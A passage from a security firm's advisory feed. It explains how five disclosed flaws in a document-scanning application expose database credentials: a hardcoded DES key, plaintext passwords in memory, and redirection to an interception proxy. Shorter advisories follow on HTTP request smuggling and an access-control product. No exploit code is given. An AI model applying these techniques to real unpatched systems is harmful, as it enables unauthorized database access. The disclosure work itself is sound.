&lt;p&gt;SRA encountered &lt;a href=&#34;https://milner.com/solutions/document-management/document-capture/&#34; target=&#34;_blank&#34;&gt;Milner ImageDirector Capture&lt;/a&gt;, a document scanning application, on a network penetration test. We identified and responsibly disclosed several vulnerabilities in this software. After the vendor provided a patch, we subsequently released &lt;a href=&#34;https://labs.sra.io/posts/milnerimagedirector/&#34; target=&#34;_blank&#34;&gt;five CVEs&lt;/a&gt;. This post explains the technical details of each CVE.&lt;/p&gt;
&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;
&lt;p&gt;ImageDirector Capture is a .NET Windows application that manages scanned documents. Users access Capture by logging into one or more endpoint devices. The endpoints store database credentials and authenticate to a central MSSQL database for storage. While individual users can add documents to the server, they should not be able to extract database credentials from the application. We audited Capture&amp;rsquo;s source code with dnSpy.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: we used the sample credential &lt;code&gt;sa:password99&lt;/code&gt; for demonstration purposes.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;spicy-bytes-hardcoded-encryption-key&#34;&gt;Spicy Bytes: Hardcoded Encryption Key&lt;/h1&gt;
&lt;p&gt;Capture uses stored credentials to connect to the database. It stores these credentials in &lt;code&gt;C:\ProgramData\Comsquared\Capture\Connections.config&lt;/code&gt;.

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;0_connectionsconfig.png&#34;  alt=&#34;Viewing encrypted credentials in Connections.config&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Viewing encrypted credentials in Connections.config&lt;/figcaption&gt;
    
  &lt;/figure&gt;

&lt;/p&gt;
&lt;p&gt;It protects these credentials with encryption, but the &lt;code&gt;GetPassword()&lt;/code&gt; and &lt;code&gt;SetPassword()&lt;/code&gt; functions in &lt;code&gt;C2SGlobalSettings.dll&lt;/code&gt; call the &lt;code&gt;Password.Decrypt()&lt;/code&gt; function with a hardcoded key.

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;1_hardcodedkey.png&#34;  alt=&#34;Observing hardcoded encryption keys in GetPassword and SetPassword functions&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Observing hardcoded encryption keys in GetPassword and SetPassword functions&lt;/figcaption&gt;
    
  &lt;/figure&gt;

&lt;/p&gt;
&lt;p&gt;Looking at the definition of &lt;code&gt;Password()&lt;/code&gt;, we see that the function defaults to a predefined key if it receives no input, and it uses the inline encryption key otherwise. We did not observe any instance where the application used this default key.

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;2_defaultkey.png&#34;  alt=&#34;Observing default encryption key and override in Password function&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Observing default encryption key and override in Password function&lt;/figcaption&gt;
    
  &lt;/figure&gt;

&lt;/p&gt;
&lt;p&gt;After accepting the key as an inline function argument, &lt;code&gt;Password()&lt;/code&gt; passes it to &lt;code&gt;InitKey&lt;/code&gt;, which splits the input into a key and IV for encryption.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;3_keyinit.png&#34;  alt=&#34;Observing the key initialization process in C2SConnection.dll&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Observing the key initialization process in C2SConnection.dll&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;The &lt;code&gt;InitKey&lt;/code&gt; function is deterministic: all passwords are encrypted with the same key and IV. If an attacker were to extract this key from one installation of ImageDirector Capture, they could decrypt passwords from other deployments.&lt;/p&gt;
&lt;p&gt;This finding was assigned CVE-2025-58740.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;taking-off-the-mask-insecure-masked-credential-fields&#34;&gt;Taking Off The Mask: Insecure Masked Credential Fields&lt;/h1&gt;
&lt;p&gt;In the &lt;code&gt;Connection Settings&lt;/code&gt; dialog, ImageDirector Capture shows a field with the masked database password. Although the password is masked, it exists in the application&amp;rsquo;s memory as plaintext. We used the &amp;ldquo;&lt;a href=&#34;https://www.nirsoft.net/utils/bullets_password_view.html&#34; target=&#34;_blank&#34;&gt;Bullets Password View&lt;/a&gt;&amp;rdquo; tool from NirSoft to read these credentials.&lt;/p&gt;
&lt;p&gt;Notably, we confirmed that the &lt;code&gt;Connection Settings&lt;/code&gt; dialog was not vulnerable to this attack when manually launched from the Settings menu within the application. However, it was vulnerable when the application failed to connect to the database on initial load and subsequently loaded &lt;code&gt;Connection Settings&lt;/code&gt;. We induced this state by setting the &amp;ldquo;ServerInstance&amp;rdquo; value in the program&amp;rsquo;s &lt;code&gt;Connections.config&lt;/code&gt; file to a non-existent server address.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;4_connectionsettings.png&#34;  alt=&#34;Viewing the masked password in the Connection Settings window&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Viewing the masked password in the Connection Settings window&lt;/figcaption&gt;
    
  &lt;/figure&gt;



  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;5_bulletspassview.png&#34;  alt=&#34;Extracting the database password with BulletsPassView&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Extracting the database password with BulletsPassView&lt;/figcaption&gt;
    
  &lt;/figure&gt;



  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;6_unmaskmeme.png&#34;  alt=&#34;Meme of man removing mask from a masked password, revealing a password&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Deploying relevant meme&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;This finding was assigned CVE-2025-58741.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;im-the-server-send-me-your-password-mssql-pass-back&#34;&gt;I&amp;rsquo;m The Server, Send Me Your Password: MSSQL Pass-Back&lt;/h1&gt;
&lt;p&gt;Revisiting the &lt;code&gt;Connection Settings&lt;/code&gt; dialog, we wondered what would happen if we changed the &lt;code&gt;Server&lt;/code&gt; IP address to a different value: would the application attempt to login? Yes, it would! We were able to extract the database password by pointing ImageDirector Capture at a &lt;a href=&#34;https://github.com/defragmentator/mitmsqlproxy&#34; target=&#34;_blank&#34;&gt;mitmsqlproxy&lt;/a&gt; instance. After clicking &lt;code&gt;Test Connection&lt;/code&gt;, the application sent its credentials over the network.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;7_mitmsqlproxy.png&#34;  alt=&#34;Intercepting database credentials with mitmsqlproxy&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Intercepting database credentials with mitmsqlproxy&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;This finding was assigned CVE-2025-58742.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;doesnt-encrypt-securely-des&#34;&gt;Doesn&amp;rsquo;t Encrypt Securely: DES&lt;/h1&gt;
&lt;p&gt;When we inspected the encryption function, we found that ImageDirector Capture uses the DES algorithm to encrypt and decrypt data. DES is insecure, and CISA &lt;a href=&#34;https://www.cisa.gov/sites/default/files/2024-05/23_0918_fpic_AES-Transition-WhitePaper_Final_508C_24_0513.pdf&#34; target=&#34;_blank&#34;&gt;recommends&lt;/a&gt; replacing it with a secure algorithm like AES-256.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;8_encryptfunction.png&#34;  alt=&#34;Viewing DES encryption in the Encrypt function&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Viewing DES encryption in the Encrypt function&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;This finding was assigned CVE-2025-58743.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;all-your-backups-are-belong-to-us-hardcoded-credentials&#34;&gt;All Your Backups Are Belong To Us: Hardcoded Credentials&lt;/h1&gt;
&lt;p&gt;In addition to the hardcoded encryption key for passwords, the application contains a hardcoded password (the &lt;code&gt;DelayedTransmissionPassword&lt;/code&gt;), which is used for encrypting and decrypting archive backup files. An attacker with access to encrypted archive files would be able to decrypt the files with the password and extract data.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;9_delayedtransmissionpassword.png&#34;  alt=&#34;Viewing the hardcoded password in C2SGlobalSettings.dll&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Viewing the hardcoded password in C2SGlobalSettings.dll&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;This finding was assigned CVE-2025-58744.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;The multiple vulnerabilities in this software illustrate the importance of in-depth testing. We were pleased to see that the vendor took action to promptly remediate these vulnerabilities in response to our disclosure.&lt;/p&gt;
&lt;h1 id=&#34;timeframe&#34;&gt;Timeframe&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;October 15-23, 2025 – SRA attempts to establish contact with Milner to disclose vulnerabilities.&lt;/li&gt;
&lt;li&gt;November 04, 2025 – Milner acknowledges vulnerabilities and intent to fix.&lt;/li&gt;
&lt;li&gt;December 31, 2025 – Milner releases ImageDirector Capture 7.6.3.25808.&lt;/li&gt;
&lt;li&gt;January 20, 2026 – SRA publishes CVEs and advisory.&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>Advisory: Milner ImageDirector Capture</title>
      <link>https://labs.sra.io/posts/milnerimagedirector/</link>
      <pubDate>Tue, 20 Jan 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/milnerimagedirector/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA has identified multiple vulnerabilities in Milner ImageDirector Capture that can lead to database access, credential access, database credential interception, and decryption of document archives.&lt;/p&gt;
&lt;h1 id=&#34;cve-identifiers&#34;&gt;CVE Identifiers&lt;/h1&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;CVE Name&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2025-58740&lt;/td&gt;
          &lt;td&gt;Hardcoded Encryption Key Enables Database Credential Access in Milner ImageDirector&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2025-58741&lt;/td&gt;
          &lt;td&gt;Insecure Masked Credential Fields Enable Database Credential Access in Milner ImageDirector Capture&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2025-58742&lt;/td&gt;
          &lt;td&gt;Insufficient Configuration Protections Enable Database Credential Interception in Milner ImageDirector Capture&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2025-58743&lt;/td&gt;
          &lt;td&gt;Insecure Encryption Algorithm Enables Brute-Force of Database Credentials in Milner ImageDirector Capture&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2025-58744&lt;/td&gt;
          &lt;td&gt;Hard-Coded Default Credentials Enable Document Archive Decryption in Milner ImageDirector Capture&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;vulnerability-details--description&#34;&gt;Vulnerability Details / Description&lt;/h1&gt;
&lt;h2 id=&#34;cve-2025-58740-hardcoded-encryption-key-enables-database-credential-access-in-milner-imagedirector&#34;&gt;CVE-2025-58740: Hardcoded Encryption Key Enables Database Credential Access in Milner ImageDirector&lt;/h2&gt;
&lt;p&gt;The Milner ImageDirector Capture application is vulnerable to credential exposure due to a hardcoded encryption key. The application stores a static cryptographic key within the C2SGlobalSettings.dll executable that encrypts database credentials. SRA identified this vulnerability by reverse engineering the Password function within the DLL, which revealed the hardcoded key used for credential encryption. An attacker can extract this key through static analysis of the executable and subsequently decrypt database credentials stored by the application at rest&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA has identified multiple vulnerabilities in Milner ImageDirector Capture that can lead to database access, credential access, database credential interception, and decryption of document archives.&lt;/p&gt;
&lt;h1 id=&#34;cve-identifiers&#34;&gt;CVE Identifiers&lt;/h1&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;CVE Name&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2025-58740&lt;/td&gt;
          &lt;td&gt;Hardcoded Encryption Key Enables Database Credential Access in Milner ImageDirector&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2025-58741&lt;/td&gt;
          &lt;td&gt;Insecure Masked Credential Fields Enable Database Credential Access in Milner ImageDirector Capture&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2025-58742&lt;/td&gt;
          &lt;td&gt;Insufficient Configuration Protections Enable Database Credential Interception in Milner ImageDirector Capture&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2025-58743&lt;/td&gt;
          &lt;td&gt;Insecure Encryption Algorithm Enables Brute-Force of Database Credentials in Milner ImageDirector Capture&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2025-58744&lt;/td&gt;
          &lt;td&gt;Hard-Coded Default Credentials Enable Document Archive Decryption in Milner ImageDirector Capture&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;vulnerability-details--description&#34;&gt;Vulnerability Details / Description&lt;/h1&gt;
&lt;h2 id=&#34;cve-2025-58740-hardcoded-encryption-key-enables-database-credential-access-in-milner-imagedirector&#34;&gt;CVE-2025-58740: Hardcoded Encryption Key Enables Database Credential Access in Milner ImageDirector&lt;/h2&gt;
&lt;p&gt;The Milner ImageDirector Capture application is vulnerable to credential exposure due to a hardcoded encryption key. The application stores a static cryptographic key within the C2SGlobalSettings.dll executable that encrypts database credentials. SRA identified this vulnerability by reverse engineering the Password function within the DLL, which revealed the hardcoded key used for credential encryption. An attacker can extract this key through static analysis of the executable and subsequently decrypt database credentials stored by the application at rest&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 8.5 (High)&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H&lt;/p&gt;
&lt;h2 id=&#34;cve-2025-58741-insecure-masked-credential-fields-enable-database-credential-access-in-milner-imagedirector-capture&#34;&gt;CVE-2025-58741: Insecure Masked Credential Fields Enable Database Credential Access in Milner ImageDirector Capture&lt;/h2&gt;
&lt;p&gt;The Milner ImageDirector Capture application is vulnerable to credential disclosure through memory analysis. The Connection Settings dialog stores database credentials in plaintext within application memory, including masked password fields that appear obfuscated in the user interface. SRA identified this vulnerability by opening the Connection Settings dialog and performing memory analysis using BulletsPassView on the running application process. The tool successfully extracted plaintext database usernames and passwords directly from process memory, despite the password field appearing masked with asterisks in the interface. The credentials remain accessible in memory for the duration that the dialog window stays open.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 8.5 (High)&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H&lt;/p&gt;
&lt;h2 id=&#34;cve-2025-58742-insufficient-configuration-protections-enable-database-credential-interception-in-milner-imagedirector-capture&#34;&gt;CVE-2025-58742: Insufficient Configuration Protections Enable Database Credential Interception in Milner ImageDirector Capture&lt;/h2&gt;
&lt;p&gt;The Milner ImageDirector Capture application is vulnerable to credential interception through server redirection attacks. The Connection Settings dialog allows users to modify the database server address without clearing stored credentials, enabling an attacker to redirect authentication attempts to a malicious server. SRA identified this vulnerability by modifying the ‘Server’ field in the Connection Settings dialog to point to an attacker-controlled database server. When the application attempts to authenticate using the stored credentials, it transmits the username and password to the specified server address, allowing the attacker’s server to capture the plaintext authentication data. The application does not validate server certificates or implement additional protections against server redirection attacks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 8.5 (High)&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H&lt;/p&gt;
&lt;h1 id=&#34;cve-2025-58743-insecure-encryption-algorithm-enables-brute-force-of-database-credentials-in-milner-imagedirector-capture&#34;&gt;CVE-2025-58743: Insecure Encryption Algorithm Enables Brute-Force of Database Credentials in Milner ImageDirector Capture&lt;/h1&gt;
&lt;p&gt;The Milner ImageDirector Capture application is vulnerable to credential exposure through weak cryptographic implementation. The Password class within C2SConnections.dll uses the deprecated Data Encryption Standard (DES) algorithm to encrypt database credentials stored locally. SRA identified this vulnerability by reverse engineering the Password class and analyzing the cryptographic functions, which revealed the use of 56-bit DES encryption with a static initialization vector. The weak key length and algorithm design make encrypted credentials susceptible to brute-force attacks using modern computational resources.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 7.2 (High)&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:H/SI:H/SA:H&lt;/p&gt;
&lt;h1 id=&#34;cve-2025-58744-hard-coded-default-credentials-enable-document-archive-decryption-in-milner-imagedirector-capture&#34;&gt;CVE-2025-58744: Hard-Coded Default Credentials Enable Document Archive Decryption in Milner ImageDirector Capture&lt;/h1&gt;
&lt;p&gt;The Milner ImageDirector Capture application is vulnerable to document decryption through hardcoded default credentials. The C2SGlobalSettings.dll contains a static “DelayedTransmissionPassword” that encrypts archived documents stored by the application. SRA identified this vulnerability by reverse engineering the C2SGlobalSettings.dll and locating the hardcoded password string within the compiled binary. The application uses this default password to encrypt document archives when users do not specify a custom delayed transmission password. An attacker can extract this hardcoded credential through static analysis and use it to decrypt any document archives encrypted with the default password, bypassing the intended document protection mechanisms.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 6.9 (Medium)&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/p&gt;
&lt;h1 id=&#34;affected-versions-and-models&#34;&gt;Affected Versions and Models&lt;/h1&gt;
&lt;p&gt;Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.&lt;/p&gt;
&lt;h1 id=&#34;mitre-cwe-weakness-enumeration&#34;&gt;MITRE CWE Weakness Enumeration&lt;/h1&gt;
&lt;p&gt;CVE-2025-58740&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CWE-321: Use of Hard-coded Cryptographic Key&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVE-2025-58741&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CWE-522: Insufficiently Protected Credentials&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVE-2025-58742&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CWE-522: Insufficiently Protected Credentials&lt;/li&gt;
&lt;li&gt;CWE-923: Improper Restriction of Communication Channel to Intended Endpoints&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVE-2025-58743&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CWE-327: Use of a Broken or Risky Cryptographic Algorithm&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVE-2025-58744&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CWE-1392: Use of Default Credentials&lt;/li&gt;
&lt;li&gt;CWE-798: Use of Hard-coded Credentials&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;remediation-options&#34;&gt;Remediation Options&lt;/h1&gt;
&lt;p&gt;Update Milner ImageDirector Capture to 7.6.3.25808 or later.&lt;/p&gt;
&lt;h1 id=&#34;source&#34;&gt;Source&lt;/h1&gt;
&lt;p&gt;These vulnerabilities were discovered by Asa Reynolds and Rick Console as part of research performed by Security Risk Advisors.&lt;/p&gt;
&lt;h1 id=&#34;timeframe&#34;&gt;Timeframe&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;October 15-23, 2025 – SRA attempts to establish contact with Milner to disclose vulnerabilities.&lt;/li&gt;
&lt;li&gt;November 04, 2025 – Milner acknowledges vulnerabilities and intent to fix.&lt;/li&gt;
&lt;li&gt;December 31, 2025 – Milner releases ImageDirector Capture 7.6.3.25808.&lt;/li&gt;
&lt;li&gt;January 20, 2026 – SRA publishes CVEs and advisory.&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>Advisory: Quest Coexistence Manager for Notes</title>
      <link>https://labs.sra.io/posts/questcoexistence/</link>
      <pubDate>Fri, 19 Dec 2025 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/questcoexistence/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA has identified a vulnerability in Quest Coexistence Manager for Notes that can lead to bypassing access controls, poisoning web caches, hijacking sessions, or triggering unintended internal requests.&lt;/p&gt;
&lt;h1 id=&#34;cve-identifiers&#34;&gt;CVE Identifiers&lt;/h1&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;CVE Name&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2025-12874&lt;/td&gt;
          &lt;td&gt;HTTP Request Smuggling in Quest Coexistence Manager for Notes&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;vulnerability-details--description&#34;&gt;Vulnerability Details / Description&lt;/h1&gt;
&lt;p&gt;Quest Coexistence Manager for Notes (3.8.2045) is vulnerable in the Free/Busy Connector to HTTP request smuggling from an unauthenticated remote attacker. The front-end and back-end components rely on inconsistent header parsing, resulting in desynchronized request boundaries. In this case, the front-end server uses the &lt;code&gt;Content-Length&lt;/code&gt; header to determine the end of the request body, forwarding the full request. The back-end server interprets the request using &lt;code&gt;Transfer-Encoding: chunked&lt;/code&gt;, processing only the first chunk (declared as zero-length) and treating the remaining bytes as a new, separate request. The attacker embeds a second, hidden request in the body of the original message. Due to the parsing mismatch, this smuggled request is processed independently by the back-end server.&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA has identified a vulnerability in Quest Coexistence Manager for Notes that can lead to bypassing access controls, poisoning web caches, hijacking sessions, or triggering unintended internal requests.&lt;/p&gt;
&lt;h1 id=&#34;cve-identifiers&#34;&gt;CVE Identifiers&lt;/h1&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;CVE Name&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2025-12874&lt;/td&gt;
          &lt;td&gt;HTTP Request Smuggling in Quest Coexistence Manager for Notes&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;vulnerability-details--description&#34;&gt;Vulnerability Details / Description&lt;/h1&gt;
&lt;p&gt;Quest Coexistence Manager for Notes (3.8.2045) is vulnerable in the Free/Busy Connector to HTTP request smuggling from an unauthenticated remote attacker. The front-end and back-end components rely on inconsistent header parsing, resulting in desynchronized request boundaries. In this case, the front-end server uses the &lt;code&gt;Content-Length&lt;/code&gt; header to determine the end of the request body, forwarding the full request. The back-end server interprets the request using &lt;code&gt;Transfer-Encoding: chunked&lt;/code&gt;, processing only the first chunk (declared as zero-length) and treating the remaining bytes as a new, separate request. The attacker embeds a second, hidden request in the body of the original message. Due to the parsing mismatch, this smuggled request is processed independently by the back-end server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 6.3 (Medium).&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/U:Clear&lt;/p&gt;
&lt;h1 id=&#34;affected-versions-and-models&#34;&gt;Affected Versions and Models&lt;/h1&gt;
&lt;p&gt;Quest Coexistence Manager for Notes 3.8.2045&lt;/p&gt;
&lt;h1 id=&#34;mitre-cwe-weakness-enumeration&#34;&gt;MITRE CWE Weakness Enumeration&lt;/h1&gt;
&lt;p&gt;CWE-444: Inconsistent Interpretation of HTTP Requests&lt;/p&gt;
&lt;h1 id=&#34;remediation-options&#34;&gt;Remediation Options&lt;/h1&gt;
&lt;p&gt;Update Quest Coexistence Manager for Notes to latest version.&lt;/p&gt;
&lt;h1 id=&#34;source&#34;&gt;Source&lt;/h1&gt;
&lt;p&gt;This vulnerability was discovered by Cam Lischke as part of research performed by Security Risk Advisors.&lt;/p&gt;
&lt;h1 id=&#34;timeframe&#34;&gt;Timeframe&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;November 3, 2025 – SRA submits vulnerability support case to Quest.&lt;/li&gt;
&lt;li&gt;November 4 through November 7, 2025 – SRA submits details of vulnerability to Quest.&lt;/li&gt;
&lt;li&gt;December 9, 2025 – SRA notifies Quest of intent to publicly disclose.&lt;/li&gt;
&lt;li&gt;December 12, 2025 – Quest acknowledges intent to publicly disclose.&lt;/li&gt;
&lt;li&gt;December 17, 2025 – Quest notifies SRA of intent to create a knowledge base article for Quest Support Portal&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>Advisory: Brivo Access Control Systems</title>
      <link>https://labs.sra.io/posts/brivoacs/</link>
      <pubDate>Mon, 19 Feb 2024 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/brivoacs/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA has identified multiple vulnerabilities in Brivo Access Control Systems that can lead to the disclosure of sensitive system data and allow degradation or bypass of critical system functions.&lt;/p&gt;
&lt;h1 id=&#34;cve-identifiers&#34;&gt;CVE Identifiers&lt;/h1&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;CVE Name&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2023-6259&lt;/td&gt;
          &lt;td&gt;Local Access to Sensitive Data&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2023-6260&lt;/td&gt;
          &lt;td&gt;Web UI OS Command Injection&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;vulnerability-details--description&#34;&gt;Vulnerability Details / Description&lt;/h1&gt;
&lt;h2 id=&#34;cve-2023-6259--local-access-to-sensitive-data&#34;&gt;CVE-2023-6259 – Local Access to Sensitive Data&lt;/h2&gt;
&lt;p&gt;An attacker with physical access to the ACS100 or ACS300 devices can access sensitive data from device memory that can be used to conduct additional attacks.&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA has identified multiple vulnerabilities in Brivo Access Control Systems that can lead to the disclosure of sensitive system data and allow degradation or bypass of critical system functions.&lt;/p&gt;
&lt;h1 id=&#34;cve-identifiers&#34;&gt;CVE Identifiers&lt;/h1&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;CVE Name&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2023-6259&lt;/td&gt;
          &lt;td&gt;Local Access to Sensitive Data&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2023-6260&lt;/td&gt;
          &lt;td&gt;Web UI OS Command Injection&lt;/td&gt;
      &lt;/tr&gt;
